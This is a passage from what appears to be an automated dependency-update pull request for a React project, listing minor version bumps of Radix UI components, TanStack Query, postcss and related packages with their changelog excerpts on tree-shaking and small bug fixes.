[@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.12` | `1.2.13` |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.101.2` | `5.101.3` |\n| [@tanstack/react-query-devtools](https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools) | `5.101.2` | `5.101.3` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.2` | `10.5.4` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.19` | `8.5.20` |\n| [react-hook-form](https://github.com/react-hook-form/react-hook-form) | `7.81.0` | `7.82.0` |\n\nUpdates `@radix-ui/react-accordion` from 1.2.16 to 1.2.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/accordion/CHANGELOG.md\"\u003e@​radix-ui/react-accordion's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collapsible@1.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/accordion\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-alert-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/alert-dialog/CHANGELOG.md\"\u003e@​radix-ui/react-alert-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.20\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/alert-dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-aspect-ratio` from 1.1.11 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/aspect-ratio/CHANGELOG.md\"\u003e@​radix-ui/react-aspect-ratio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/aspect-ratio\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-avatar` from 1.2.2 to 1.2.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/avatar/CHANGELOG.md\"\u003e@​radix-ui/react-avatar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFix dev-only checks with conditional exports to drop dev-warnings from production builds.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-is-hydrated@0.1.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/avatar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-checkbox` from 1.3.7 to 1.3.8\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/checkbox/CHANGELOG.md\"\u003e@​radix-ui/react-checkbox's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/checkbox\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-collapsible` from 1.1.16 to 1.1.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/collapsible/CHANGELOG.md\"\u003e@​radix-ui/react-collapsible's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/collapsible\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-context-menu` from 2.3.3 to 2.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/context-menu/CHANGELOG.md\"\u003e@​radix-ui/react-context-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFix dev-only checks with conditional exports to drop dev-warnings from production builds.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/context-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dialog/CHANGELOG.md\"\u003e@​radix-ui/react-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed broken ARIA references in Dialogs where a title or description elements are not rendered.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dropdown-menu` from 2.1.20 to 2.1.21\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dropdown-menu/CHANGELOG.md\"\u003e@​radix-ui/react-dropdown-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.21\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dropdown-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-hover-card` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/hover-card/CHANGELOG.md\"\u003e@​radix-ui/react-hover-card's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/hover-card\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-label` from 2.1.11 to 2.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/label/CHANGELOG.md\"\u003e@​radix-ui/react-label's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/label\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-menubar` from 1.1.20 to 1.1.21\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/menubar/CHANGELOG.md\"\u003e@​radix-ui/react-menubar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.21\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/menubar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-navigation-menu` from 1.2.18 to 1.2.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/navigation-menu/CHANGELOG.md\"\u003e@​radix-ui/react-navigation-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/navigation-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-popover` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/popover/CHANGELOG.md\"\u003e@​radix-ui/react-popover's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/popover\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-progress` from 1.1.12 to 1.1.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/progress/CHANGELOG.md\"\u003e@​radix-ui/react-progress's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/progress\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-radio-group` from 1.4.3 to 1.4.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/radio-group/CHANGELOG.md\"\u003e@​radix-ui/react-radio-group's 